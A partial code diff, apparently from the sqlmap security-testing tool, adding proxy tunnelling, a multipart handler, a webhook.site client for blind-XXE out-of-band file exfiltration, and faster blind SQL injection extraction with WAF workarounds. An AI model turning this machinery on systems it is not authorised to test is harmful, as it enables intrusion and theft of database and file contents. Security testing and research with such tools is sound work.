for _ in range(attempts):
|
||||
time.sleep(delay)
|
||||
interactions = self.poll()
|
||||
if interactions:
|
||||
return interactions
|
||||
return []
|
||||
|
||||
def close(self):
|
||||
if self.registered:
|
||||
body = json.dumps({"correlation-id": self.correlationId, "secret-key": self.secret})
|
||||
self._request("https://%s/deregister" % self.server, post=body)
|
||||
self.registered = False
|
||||
|
|
@ -60,6 +60,22 @@ class _KeepAliveHandler(object):
|
|||
def _give_back(self, key, conn, count):
|
||||
self._pool.conns[key] = [conn, count, time.time()]
|
||||
|
||||
@staticmethod
|
||||
def _takeTunnelHeaders(req):
|
||||
"""
|
||||
Pops the Proxy-Authorization header off L{req} (returning it as a dict) so it rides on the
|
||||
CONNECT request only and is never forwarded through the tunnel to the origin server, mirroring
|
||||
the stock C{urllib.request.AbstractHTTPHandler.do_open} tunnel setup
|
||||
"""
|
||||
|
||||
result = {}
|
||||
for store in (getattr(req, "unredirected_hdrs", None), getattr(req, "headers", None)):
|
||||
if store:
|
||||
for name in list(store):
|
||||
if name.lower() == "proxy-authorization":
|
||||
result[name] = store.pop(name)
|
||||
return result
|
||||
|
||||
def do_open(self, req):
|
||||
# Note: 'selector'/'host' attributes on Python 3 (Request.get_host() was deprecated since
|
||||
# 3.3 and removed in 3.12); the get_*() fallbacks are only reachable under Python 2
|
||||
|
|
@ -68,7 +84,14 @@ class _KeepAliveHandler(object):
|
|||
if not host:
|
||||
raise _urllib.error.URLError("no host given")
|
||||
|
||||
key = "%s://%s" % (self._scheme, host)
|
||||
# When routed through an HTTP(s) proxy, ProxyHandler has already rewritten the request: for a
|
||||
# plain-HTTP target 'host' is the proxy and the selector is absolute; for an HTTPS target
|
||||
# '_tunnel_host' holds the origin reached via a CONNECT tunnel. Pool by the tunnel origin when
|
||||
# tunneling (each origin needs its own tunnelled socket) and by 'host' otherwise (one HTTP-proxy
|
||||
# socket serves many origins, and a direct connection is keyed by its own host exactly as before).
|
||||
tunnelHost = getattr(req, "_tunnel_host", None)
|
||||
tunnelHeaders = self._takeTunnelHeaders(req) if tunnelHost else None
|
||||
key = "%s://%s" % (self._scheme, tunnelHost or host)
|
||||
|
||||
conn, count = self._take(key)
|
||||
reused = conn is not None
|
||||
|
|
@ -93,6 +116,8 @@ class _KeepAliveHandler(object):
|
|||
|
||||
if conn is None:
|
||||
conn = self._get_connection(host)
|
||||
if tunnelHost:
|
||||
conn.set_tunnel(tunnelHost, headers=tunnelHeaders or {})
|
||||
count = 0
|
||||
self._send_request(conn, req)
|
||||
response = conn.getresponse()
|
||||
|
|
|
|||
89
lib/request/multiparthandler.py
Normal file
89
lib/request/multiparthandler.py
Normal file
|
|
@ -0,0 +1,89 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import io
|
||||
import mimetypes
|
||||
import re
|
||||
|
||||
from lib.core.compat import choose_boundary
|
||||
from lib.core.convert import getBytes
|
||||
from lib.core.exception import SqlmapDataException
|
||||
from thirdparty.six.moves import urllib as _urllib
|
||||
|
||||
# Controls how sequences are encoded: if True, an element may be given multiple values by assigning a sequence
|
||||
DOSEQ = True
|
||||
|
||||
class MultipartPostHandler(_urllib.request.BaseHandler):
|
||||
"""
|
||||
urllib handler that transparently encodes a dict request body as multipart/form-data when it carries
|
||||
file-like values (and as a plain urlencoded body otherwise). Native replacement for the historically
|
||||
vendored 'thirdparty/multipart/multipartpost.py' (Will Holcomb, 2006); the logic already relied on
|
||||
sqlmap's own helpers, so it now lives here as a first-class request handler.
|
||||
"""
|
||||
|
||||
handler_order = _urllib.request.HTTPHandler.handler_order - 10 # must run before the HTTP handler
|
||||
|
||||
def http_request(self, request):
|
||||
data = request.data
|
||||
|
||||
if isinstance(data, dict):
|
||||
files, variables = [], []
|
||||
|
||||
try:
|
||||
for key, value in data.items():
|
||||
if hasattr(value, "fileno") or hasattr(value, "file") or isinstance(value, io.IOBase):
|
||||
files.append((key, value))
|
||||
else:
|
||||
variables.append((key, value))
|
||||
except TypeError:
|
||||
raise SqlmapDataException("not a valid non-string sequence or mapping object")
|
||||
|
||||
if not files:
|
||||
data = _urllib.parse.urlencode(variables, DOSEQ)
|
||||
else:
|
||||
boundary, data = self.multipartEncode(variables, files)
|
||||
request.add_unredirected_header("Content-Type", "multipart/form-data; boundary=%s" % boundary)
|
||||
|
||||
request.data = data
|
||||
|
||||
# normalize bare LF to CRLF inside a multipart body (Reference: https://github.com/sqlmapproject/sqlmap/issues/4235)
|
||||
if request.data:
|
||||
for match in re.finditer(b"(?i)\\s*-{20,}\\w+(\\s+Content-Disposition[^\\n]+\\s+|\\-\\-\\s*)", request.data):
|
||||
part = match.group(0)
|
||||
if b'\r' not in part:
|
||||
request.data = request.data.replace(part, part.replace(b'\n', b"\r\n"))
|
||||
|
||||
return request
|
||||
|
||||
def multipartEncode(self, variables, files, boundary=None):
|
||||
boundary = boundary or choose_boundary()
|
||||
buffer_ = b""
|
||||
|
||||
for key, value in variables:
|
||||
if key is not None and value is not None:
|
||||
buffer_ += b"--%s\r\n" % getBytes(boundary)
|
||||
buffer_ += b"Content-Disposition: form-data; name=\"%s\"" % getBytes(key)
|
||||
buffer_ += b"\r\n\r\n" + getBytes(value) + b"\r\n"
|
||||
|
||||
for key, fd in files:
|
||||
filename = fd.name.split('/')[-1] if '/' in fd.name else fd.name.split('\\')[-1]
|
||||
try:
|
||||
contentType = mimetypes.guess_type(filename)[0] or b"application/octet-stream"
|
||||
except Exception:
|
||||
# Reference: http://bugs.python.org/issue9291
|
||||
contentType = b"application/octet-stream"
|
||||
buffer_ += b"--%s\r\n" % getBytes(boundary)
|
||||
buffer_ += b"Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"\r\n" % (getBytes(key), getBytes(filename))
|
||||
buffer_ += b"Content-Type: %s\r\n" % getBytes(contentType)
|
||||
fd.seek(0)
|
||||
buffer_ += b"\r\n%s\r\n" % fd.read()
|
||||
|
||||
buffer_ += b"--%s--\r\n\r\n" % getBytes(boundary)
|
||||
|
||||
return boundary, getBytes(buffer_)
|
||||
|
||||
https_request = http_request
|
||||
92
lib/request/webhooksite.py
Normal file
92
lib/request/webhooksite.py
Normal file
|
|
@ -0,0 +1,92 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import json
|
||||
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
from lib.core.convert import getBytes
|
||||
from lib.core.convert import getText
|
||||
from lib.core.enums import HTTP_HEADER
|
||||
from lib.core.settings import OOB_EXFIL_ENDPOINT
|
||||
|
||||
# webhook.site is used for blind-XXE OOB *exfiltration*: it can both serve a custom
|
||||
# response (our malicious external DTD) AND log the request the target then makes
|
||||
# (carrying the file content). interactsh cannot host arbitrary content, hence the
|
||||
# separate backend. HTTP-only, free tier, no account required for basic tokens.
|
||||
|
||||
|
||||
class WebhookSite(object):
|
||||
"""Thin webhook.site client: mints tokens (optionally serving fixed content)
|
||||
and reads back the requests captured on them. Self-contained on urllib (like the
|
||||
interactsh client): sqlmap's getPage caches by URL, which would make repeated
|
||||
polls of the same /requests URL return a stale snapshot and miss the callback."""
|
||||
|
||||
def __init__(self):
|
||||
# Exfil host is the public content-serving endpoint (its token API is
|
||||
# service-specific, so --oob-server, which selects the interactsh *detection*
|
||||
# server, deliberately does not repoint it).
|
||||
self.endpoint = OOB_EXFIL_ENDPOINT.rstrip('/')
|
||||
|
||||
def _api(self, path, post=None):
|
||||
try:
|
||||
import ssl
|
||||
try:
|
||||
from urllib.request import Request as _Request, build_opener, ProxyHandler, HTTPSHandler
|
||||
except ImportError:
|
||||
from urllib2 import Request as _Request, build_opener, ProxyHandler, HTTPSHandler
|
||||
|
||||
headers = {HTTP_HEADER.CONTENT_TYPE: "application/json"} if post is not None else {HTTP_HEADER.ACCEPT: "application/json"}
|
||||
handlers = []
|
||||
try:
|
||||
context = ssl.create_default_context()
|
||||
if conf.get("verifyCert") is False:
|
||||
context.check_hostname = False
|
||||
context.verify_mode = ssl.CERT_NONE
|
||||
handlers.append(HTTPSHandler(context=context))
|
||||
except Exception:
|
||||
pass
|
||||
if conf.get("proxy"):
|
||||
handlers.append(ProxyHandler({"http": conf.proxy, "https": conf.proxy}))
|
||||
|
||||
request = _Request("%s%s" % (self.endpoint, path), data=getBytes(post) if post is not None else None, headers=headers)
|
||||
response = build_opener(*handlers).open(request, timeout=conf.get("timeout") or 30)
|
||||
return getText(response.read())
|
||||
except Exception as ex:
|
||||
logger.debug("webhook.site request to '%s' failed: %s" % (path, getText(ex)))
|
||||
return None
|
||||
|
||||
def newToken(self, content=None):
|
||||
"""Create a token. When `content` is given the token serves it verbatim
|
||||
(used to host the external DTD). Returns the token UUID or None."""
|
||||
body = {"default_status": 200}
|
||||
if content is not None:
|
||||
body["default_content"] = content
|
||||
body["default_content_type"] = "application/xml"
|
||||
page = self._api("/token", post=json.dumps(body))
|
||||
if page:
|
||||
try:
|
||||
return json.loads(page).get("uuid")
|
||||
except ValueError:
|
||||
pass
|
||||
return None
|
||||
|
||||
def hostUrl(self, token):
|
||||
"""Target-facing URL for a token. Plain HTTP - XML parsers (libxml) commonly
|
||||
cannot fetch https external entities."""
|
||||
host = self.endpoint.split("://", 1)[-1]
|
||||
return "http://%s/%s" % (host, token)
|
||||
|
||||
def captured(self, token):
|
||||
"""Return the list of request records captured on `token` (newest first)."""
|
||||
page = self._api("/token/%s/requests?sorting=newest&per_page=50" % token)
|
||||
if page:
|
||||
try:
|
||||
return json.loads(page).get("data") or []
|
||||
except ValueError:
|
||||
pass
|
||||
return []
|
||||
|
|
@ -20,10 +20,12 @@ from lib.core.common import decodeIntToUnicode
|
|||
from lib.core.common import filterControlChars
|
||||
from lib.core.common import getCharset
|
||||
from lib.core.common import getCounter
|
||||
from lib.core.common import getFileItems
|
||||
from lib.core.common import getPartRun
|
||||
from lib.core.common import getTechnique
|
||||
from lib.core.common import getTechniqueData
|
||||
from lib.core.common import goGoodSamaritan
|
||||
from lib.core.common import openFile
|
||||
from lib.core.common import predictValue
|
||||
from lib.core.common import hashDBRetrieve
|
||||
from lib.core.common import hashDBWrite
|
||||
from lib.core.common import incrementCounter
|
||||
|
|
@ -34,6 +36,7 @@ from lib.core.common import singleTimeWarnMessage
|
|||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.data import queries
|
||||
from lib.core.enums import ADJUST_TIME_DELAY
|
||||
from lib.core.enums import CHARSET_TYPE
|
||||
|
|
@ -44,6 +47,13 @@ from lib.core.exception import SqlmapUnsupportedFeatureException
|
|||
from lib.core.settings import CHAR_INFERENCE_MARK
|
||||
from lib.core.settings import HUFFMAN_PROBE_LIMIT
|
||||
from lib.core.settings import HUFFMAN_PRIOR_WEIGHTS
|
||||
from lib.core.settings import CATALOG_IDENTIFIERS_PRIOR_PEAK
|
||||
from lib.core.settings import DUMP_CHARSET_STABLE_ROWS
|
||||
from lib.core.settings import LOW_CARDINALITY_MAX_GUESSES
|
||||
from lib.core.settings import LOW_CARDINALITY_THRESHOLD
|
||||
from lib.core.settings import NAME_PREDICTION_CONTEXTS
|
||||
from lib.core.settings import NAME_MARKOV_ORDER
|
||||
from lib.core.settings import ORACLE_LITMUS_CHECK_EVERY
|
||||
from lib.core.settings import PREDICTION_FEEDBACK_MAX_ITEMS
|
||||
from lib.core.settings import PREDICTION_FEEDBACK_MAX_LENGTH
|
||||
from lib.core.settings import INFERENCE_BLANK_BREAK
|
||||
|
|
@ -73,6 +83,174 @@ from thirdparty import six
|
|||
# outside the ASCII model (e.g. multi-byte/Unicode) - defer to the classic bisection".
|
||||
_HUFFMAN_FALLBACK = object()
|
||||
|
||||
# Cache of character-level Markov priors keyed by (order, scale, dbms); built once per process
|
||||
_huffmanPriorCache = {}
|
||||
|
||||
def normalizedExpression(expression):
|
||||
"""
|
||||
Row-independent form of a per-row retrieval expression: the paginated offset/limit that varies
|
||||
from row to row is masked so every row of the same column maps to a single key. Used to group a
|
||||
column's values for low-cardinality guessing and for its per-column online Huffman model.
|
||||
|
||||
>>> normalizedExpression("SELECT name FROM users LIMIT 3,1") == normalizedExpression("SELECT name FROM users LIMIT 7,1")
|
||||
True
|
||||
"""
|
||||
|
||||
retVal = expression
|
||||
|
||||
for pattern in (r"\bLIMIT\s+\d+\s*,\s*\d+", r"\bLIMIT\s+\d+\s+OFFSET\s+\d+", r"\bOFFSET\s+\d+", r"\bLIMIT\s+\d+", r"\bROWNUM\b\s*[<>=]+\s*\d+", r"\bTOP\s+\d+", r"\bFETCH\s+(?:FIRST|NEXT)\s+\d+"):
|
||||
retVal = re.sub(pattern, lambda match: re.sub(r"\d+", "?", match.group(0)), retVal, flags=re.I)
|
||||
|
||||
return retVal
|
||||
|
||||
def getHuffmanPrior(order, scale, dbms=None):
|
||||
"""
|
||||
Character-level order-N Markov model {context: {ordinal: count}} used to warm the Huffman
|
||||
set-membership tree during blind NAME enumeration (so it predicts from the first character rather
|
||||
than cold). Trained on the app-identifier wordlists (common-tables/common-columns) plus, when the
|
||||
back-end is fingerprinted, the system/catalog identifiers harvested for that DBMS (from the matching
|
||||
[<DBMS>] section of catalog-identifiers.txt - a single global model dilutes across dialects).
|
||||
Per-context counts are scaled to a peak of `scale`. Retrieval is correct regardless of this model.
|
||||
"""
|
||||
|
||||
if (order, scale, dbms) in _huffmanPriorCache:
|
||||
return _huffmanPriorCache[(order, scale, dbms)]
|
||||
|
||||
prior = {}
|
||||
names = []
|
||||
|
||||
for path in (paths.COMMON_COLUMNS, paths.COMMON_TABLES):
|
||||
try:
|
||||
names.extend(getFileItems(path))
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
if dbms:
|
||||
try:
|
||||
with openFile(paths.CATALOG_IDENTIFIERS, "r", errors="ignore") as f:
|
||||
section = None
|
||||
for line in f:
|
||||
line = line.strip()
|
||||
if not line or line.startswith('#'):
|
||||
continue
|
||||
if line.startswith('[') and line.endswith(']'):
|
||||
section = line[1:-1]
|
||||
elif section == dbms:
|
||||
names.append(line)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
for name in names:
|
||||
terminated = name + "\x00"
|
||||
for i in xrange(len(terminated)):
|
||||
ordinal = ord(terminated[i])
|
||||
if ordinal < 128:
|
||||
counts = prior.setdefault(terminated[max(0, i - order):i], {})
|
||||
counts[ordinal] = counts.get(ordinal, 0) + 1
|
||||
|
||||
for counts in prior.values():
|
||||
peak = max(counts.values()) or 1
|
||||
for ordinal in counts:
|
||||
counts[ordinal] = max(1, int(round(counts[ordinal] * float(scale) / peak)))
|
||||
|
||||
_huffmanPriorCache[(order, scale, dbms)] = prior
|
||||
return prior
|
||||
|
||||
def contextWeights(model, prior, order, prefix):
|
||||
"""
|
||||
Combined next-character weights P(next | last `order` chars) from the per-run online `model` plus
|
||||
the optional shipped Markov `prior`, backing off to shorter contexts (Katz-style) when the deepest
|
||||
context has not been seen yet. The online model is snapshotted under kb.locks.prediction because
|
||||
value-parallel workers may mutate it concurrently (a bare iteration could otherwise raise).
|
||||
"""
|
||||
|
||||
weights = {}
|
||||
context = prefix[-order:] if order > 0 else ""
|
||||
|
||||
while True:
|
||||
with kb.locks.prediction:
|
||||
online = dict(model.get(context) or ())
|
||||
for source in (online, prior.get(context) if prior is not None else None):
|
||||
if source:
|
||||
for symbol, count in source.items():
|
||||
weights[symbol] = weights.get(symbol, 0) + count
|
||||
|
||||
if weights or not context:
|
||||
break
|
||||
|
||||
context = context[1:]
|
||||
|
||||
return weights
|
||||
|
||||
def valueMatchCondition(expressionUnescaped, value):
|
||||
"""
|
||||
Boolean SQL that is TRUE iff (expressionUnescaped) equals the whole `value` (extracted so far as a
|
||||
string), or None when a whole-value equality cannot be trusted and the caller must fall back to
|
||||
per-character extraction. Used by low-cardinality guessing and by the value-parallel self-verification.
|
||||
|
||||
Returns None for values containing non-ASCII characters: those are extracted correctly byte-wise by
|
||||
the classic bisection, but a single quoted/CHAR()-encoded literal may not round-trip to the same
|
||||
bytes on every back-end, so a whole-value "=" could spuriously miss (and, for verification, drive a
|
||||
needless re-extraction). ASCII values compare reliably.
|
||||
|
||||
On SQLite (dynamically typed) the dump's COALESCE(col, ...) wrapper loses column affinity, so for a
|
||||
numeric column "1 = '1'" is FALSE and the quoted form would never hit; there we ALSO test the bare-
|
||||
number form. That extra form is emitted ONLY for SQLite: on strictly-typed engines (e.g. PostgreSQL)
|
||||
"text = 1" is a hard type error that would abort the whole boolean, and there the expression is already
|
||||
text-cast so the quoted form matches anyway. Correctness is unaffected either way - this only decides
|
||||
whether a whole-value shortcut hits or falls back to per-character extraction.
|
||||
|
||||
>>> valueMatchCondition("q", "abc").count("OR")
|
||||
0
|
||||
>>> valueMatchCondition("q", u"caf\\xe9") is None
|
||||
True
|
||||
"""
|
||||
|
||||
if value is None or any(ord(_) >= 128 for _ in value):
|
||||
return None
|
||||
|
||||
quoted = unescaper.escape("'%s'" % value) if "'" not in value else unescaper.escape("%s" % value, quote=False)
|
||||
condition = "(%s)%s%s" % (expressionUnescaped, INFERENCE_EQUALS_CHAR, quoted)
|
||||
|
||||
if re.match(r"\A-?\d+(\.\d+)?\Z", value) and Backend.getIdentifiedDbms() == DBMS.SQLITE:
|
||||
condition = "(%s OR (%s)%s%s)" % (condition, expressionUnescaped, INFERENCE_EQUALS_CHAR, value)
|
||||
|
||||
return condition
|
||||
|
||||
def oracleReliabilityLitmus(expressionUnescaped, value, timeBasedCompare):
|
||||
"""
|
||||
Known-answer differential health-check on the inference oracle, using the value just extracted.
|
||||
Fires TWO probes on the SAME cell: "(expr) = value" (must be TRUE) and "(expr) = <value with one
|
||||
character corrupted>" (must be FALSE). A healthy oracle answers TRUE/FALSE; an always-true channel
|
||||
(e.g. a WAF returning 200 for everything, a reads-everything-true endpoint) trips the FALSE probe,
|
||||
and a flaky/degraded one trips either - so silent data corruption becomes a detectable signal.
|
||||
|
||||
Returns True if the oracle behaved consistently (or the check is not applicable), False on a detected
|
||||
inconsistency. Skips (returns True) for values valueMatchCondition() cannot reliably compare (non-ASCII).
|
||||
"""
|
||||
|
||||
if not value or valueMatchCondition(expressionUnescaped, value) is None:
|
||||
return True
|
||||
|
||||
# a definitely-different copy: flip the last character to a neighbour that cannot equal it
|
||||
corrupt = value[:-1] + ("a" if value[-1] != "a" else "b")
|
||||
corruptCondition = valueMatchCondition(expressionUnescaped, corrupt)
|
||||
if corruptCondition is None:
|
||||
return True
|
||||
|
||||
try:
|
||||
truthy = agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector.replace(INFERENCE_MARKER, valueMatchCondition(expressionUnescaped, value))))
|
||||
mustBeTrue = Request.queryPage(agent.payload(newValue=truthy), timeBasedCompare=timeBasedCompare, raise404=False)
|
||||
incrementCounter(getTechnique())
|
||||
|
||||
falsy = agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector.replace(INFERENCE_MARKER, corruptCondition)))
|
||||
mustBeFalse = Request.queryPage(agent.payload(newValue=falsy), timeBasedCompare=timeBasedCompare, raise404=False)
|
||||
incrementCounter(getTechnique())
|
||||
except Exception:
|
||||
return True # a transient hiccup is not evidence of an unreliable oracle
|
||||
|
||||
return bool(mustBeTrue) and not bool(mustBeFalse)
|
||||
|
||||
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
|
||||
"""
|
||||
Bisection algorithm that can be used to perform blind SQL injection
|
||||
|
|
@ -84,6 +262,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||
partialValue = u""
|
||||
finalValue = None
|
||||
retrievedLength = 0
|
||||
columnKey = None
|
||||
|
||||
if payload is None:
|
||||
return 0, None
|
||||
|
|
@ -97,6 +276,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||
asciiTbl = getCharset(charsetType)
|
||||
|
||||
threadData = getCurrentThreadData()
|
||||
threadData.lowCardHit = False # set when this value is confirmed by the (self-verifying) low-card guess
|
||||
timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
|
||||
retVal = hashDBRetrieve(expression, checkConf=True)
|
||||
|
||||
|
|
@ -139,14 +319,14 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||
expression = match.group(2).strip()
|
||||
|
||||
try:
|
||||
# Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used, or the
|
||||
# engine is called from the API, or a JSON report is being collected (so enumeration output is tagged)
|
||||
if conf.predictOutput:
|
||||
kb.partRun = getPartRun()
|
||||
elif conf.api or conf.reportJson:
|
||||
kb.partRun = getPartRun(alias=False)
|
||||
else:
|
||||
kb.partRun = None
|
||||
# kb.partRun tags the enumeration context so predictive inference (predictValue) fires for BOTH
|
||||
# the value-parallel and the classic serial name-enumeration paths. It is derived from the call
|
||||
# stack here (alias form for prediction; raw for API/JSON tagging); the derivation only overwrites
|
||||
# when it finds a match, so it does NOT clobber the context the value-parallel helper set for its
|
||||
# worker threads (whose call stack does not include the enumeration method -> getPartRun is None).
|
||||
derivedPartRun = getPartRun(alias=not (conf.api or conf.reportJson))
|
||||
if derivedPartRun is not None:
|
||||
kb.partRun = derivedPartRun
|
||||
|
||||
if partialValue:
|
||||
firstChar = len(partialValue)
|
||||
|
|
@ -180,6 +360,60 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||
else:
|
||||
expressionUnescaped = unescaper.escape(expression)
|
||||
|
||||
# Row-independent key for this column (pagination offset masked), grouping all of a column's
|
||||
# rows for low-cardinality guessing and for its own per-column online Huffman model.
|
||||
columnKey = normalizedExpression(expression) if dump else None
|
||||
|
||||
# Low-cardinality whole-value guessing: when the distinct values already seen for this column are
|
||||
# few (<= LOW_CARDINALITY_THRESHOLD), confirm the current cell by equality against each of them
|
||||
# (one request on a hit) before per-character extraction - a large win on the enum/flag/status/
|
||||
# category/type columns that dominate real tables. Self-verifying (a wrong candidate simply fails).
|
||||
# Especially valuable for TIME-BASED blind: a hit confirms the whole value in a single delayed
|
||||
# request instead of ~7 delays/char x N chars. The repetition gate below ensures it only ever fires
|
||||
# on genuinely low-cardinality columns, so unique identifier names never pay a wasted probe/delay.
|
||||
if columnKey is not None and not partialValue:
|
||||
# Snapshot the shared cache under the lock (value-parallel workers may mutate it concurrently).
|
||||
with kb.locks.prediction:
|
||||
seen = dict(kb.lowCardCache.get(columnKey) or ())
|
||||
# Arm only once SOME value has repeated (max count >= 2): that is the proof the column is
|
||||
# low-cardinality, so an all-unique column (primary key, hash, free text) never spends a probe.
|
||||
# Once armed, try at most LOW_CARDINALITY_MAX_GUESSES candidates (most frequent first), so a
|
||||
# column that trips the threshold with many near-unique values wastes only a bounded number of
|
||||
# probes. A wrong guess costs one probe (self-verifying); a right one confirms the whole value.
|
||||
if seen and len(seen) <= LOW_CARDINALITY_THRESHOLD and max(seen.values()) >= 2:
|
||||
for candidate in sorted(seen, key=lambda value: -seen[value])[:LOW_CARDINALITY_MAX_GUESSES]:
|
||||
matchCondition = valueMatchCondition(expressionUnescaped, candidate)
|
||||
if matchCondition is None: # non-ASCII: no reliable whole-value equality, extract per-char
|
||||
continue
|
||||
forgedQuery = agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector.replace(INFERENCE_MARKER, matchCondition)))
|
||||
hit = Request.queryPage(agent.payload(newValue=forgedQuery), timeBasedCompare=timeBasedCompare, raise404=False)
|
||||
incrementCounter(getTechnique())
|
||||
if hit and timeBasedCompare:
|
||||
# A single time-based boolean is noisy; confirm the whole-value hit with a
|
||||
# not-equals check (validateChar spirit) before trusting it, so timing jitter can
|
||||
# never ship a wrong low-cardinality value. Still ~2 delayed requests/value vs the
|
||||
# ~7-delays/char x N of full extraction.
|
||||
notEqualsQuery = agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector.replace(INFERENCE_MARKER, "NOT(%s)" % matchCondition)))
|
||||
hit = not Request.queryPage(agent.payload(newValue=notEqualsQuery), timeBasedCompare=timeBasedCompare, raise404=False)
|
||||
incrementCounter(getTechnique())
|
||||
if hit:
|
||||
threadData.lowCardHit = True
|
||||
return getCounter(getTechnique()), candidate
|
||||
|
||||
# Model driving the Huffman set-membership tree. Name enumeration keys on the enumeration context
|
||||
# and is seeded with the fingerprinted back-end's identifier prior, so the tree predicts a name
|
||||
# from the first character (structured, low-entropy identifiers). A data dump uses a PER-COLUMN
|
||||
# order-0 model: each column learns its own character distribution, so a column restricted to few
|
||||
# characters (hex/uuid, digits, dates, a constant/NULL placeholder) is forced from those alone
|
||||
# (e.g. ~4 requests/char on hex instead of ~6, ~1 on a constant) with no cross-column dilution.
|
||||
# Order 0 needs no sequential prefix, so it works under the position-parallel (per-value) threads
|
||||
# too; a higher-order per-column model was measured to lose to its own cold-start, so order 0 it is.
|
||||
if kb.partRun in NAME_PREDICTION_CONTEXTS:
|
||||
huffmanKey, huffmanOrder = kb.partRun, NAME_MARKOV_ORDER
|
||||
huffmanPrior = getHuffmanPrior(NAME_MARKOV_ORDER, CATALOG_IDENTIFIERS_PRIOR_PEAK, Backend.getIdentifiedDbms())
|
||||
else:
|
||||
huffmanKey, huffmanOrder, huffmanPrior = columnKey, 0, None
|
||||
|
||||
if isinstance(length, six.string_types) and isDigit(length) or isinstance(length, int):
|
||||
length = int(length)
|
||||
else:
|
||||
|
|
@ -211,7 +445,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||
else:
|
||||
numThreads = 1
|
||||
|
||||
if conf.threads == 1 and not any((timeBasedCompare, conf.predictOutput)):
|
||||
if conf.threads == 1 and not timeBasedCompare:
|
||||
warnMsg = "running in a single-thread mode. Please consider "
|
||||
warnMsg += "usage of option '--threads' for faster data retrieval"
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
|
|
@ -295,12 +529,21 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||
back to the classic bisection. Returns the character, or None to fall back.
|
||||
"""
|
||||
ESCAPE = -1
|
||||
model = kb.huffmanModel
|
||||
model = kb.huffmanModel.setdefault(huffmanKey, {})
|
||||
threadData = getCurrentThreadData()
|
||||
|
||||
# Next-character weights P(next | last huffmanOrder chars) from this retrieval's own online
|
||||
# model plus, for name enumeration, the shipped identifier prior (so the tree is warm from the
|
||||
# first character); order 0 collapses to the classic single-context adaptive model. Retrieval
|
||||
# is correct regardless of the weights (the tree spans the whole range plus an ESCAPE leaf), so
|
||||
# the model - even raced under threads - only ever affects speed, never the returned value.
|
||||
context = partialValue[-huffmanOrder:] if huffmanOrder > 0 else ""
|
||||
weights = contextWeights(model, huffmanPrior, huffmanOrder, partialValue)
|
||||
|
||||
heap = []
|
||||
for order, ordinal in enumerate(xrange(128)):
|
||||
heapq.heappush(heap, (model.get(ordinal, 0) + HUFFMAN_PRIOR_WEIGHTS.get(ordinal, 1), order, (ordinal,)))
|
||||
heapq.heappush(heap, (max(model.get(ESCAPE, 0), 1), 128, (ESCAPE,)))
|
||||
heapq.heappush(heap, (weights.get(ordinal, 0) + HUFFMAN_PRIOR_WEIGHTS.get(ordinal, 1), order, (ordinal,)))
|
||||
heapq.heappush(heap, (max(weights.get(ESCAPE, 0), 1), 128, (ESCAPE,)))
|
||||
|
||||
counter = 129
|
||||
while len(heap) > 1:
|
||||
|
|
@ -337,12 +580,23 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
|
||||
incrementCounter(getTechnique())
|
||||
|
||||
# Guard against target-side length limits / WAFs that reject the (potentially long)
|
||||
# "IN (...)" list: an HTTP error code that is not the technique's own true/false code means
|
||||
# this membership query was rejected (e.g. 414 URI Too Long, 413, 400, 403), so the walk
|
||||
# cannot be trusted. Abandon it and hand the character to the classic short-query ('>' / '=')
|
||||
# bisection, which re-extracts and validates it; the escape counter in getChar() latches
|
||||
# Huffman off (kb.disableHuffman) if the rejection keeps happening. Gated on >= 400 so a
|
||||
# normal content-based (200/200) response never trips it.
|
||||
if not timeBasedCompare and threadData.lastCode is not None and threadData.lastCode >= 400 and (getTechniqueData() is None or threadData.lastCode not in (getTechniqueData().falseCode, getTechniqueData().trueCode)):
|
||||
return _HUFFMAN_FALLBACK
|
||||
|
||||
node = testNode if result else otherNode
|
||||
|
||||
value = node[0]
|
||||
|
||||
if value == ESCAPE:
|
||||
model[ESCAPE] = model.get(ESCAPE, 0) + 1
|
||||
with kb.locks.prediction:
|
||||
model.setdefault(context, {})[ESCAPE] = model.setdefault(context, {}).get(ESCAPE, 0) + 1
|
||||
return _HUFFMAN_FALLBACK
|
||||
|
||||
if value == 0:
|
||||
|
|
@ -365,13 +619,17 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||
kb.disableHuffman = True
|
||||
return _HUFFMAN_FALLBACK
|
||||
|
||||
model[value] = model.get(value, 0) + 1
|
||||
with kb.locks.prediction:
|
||||
model.setdefault(context, {})[value] = model.setdefault(context, {}).get(value, 0) + 1
|
||||
return decodeIntToUnicode(value)
|
||||
|
||||
def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None):
|
||||
def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None, restricted=False):
|
||||
"""
|
||||
continuousOrder means that distance between each two neighbour's
|
||||
numerical values is exactly 1
|
||||
|
||||
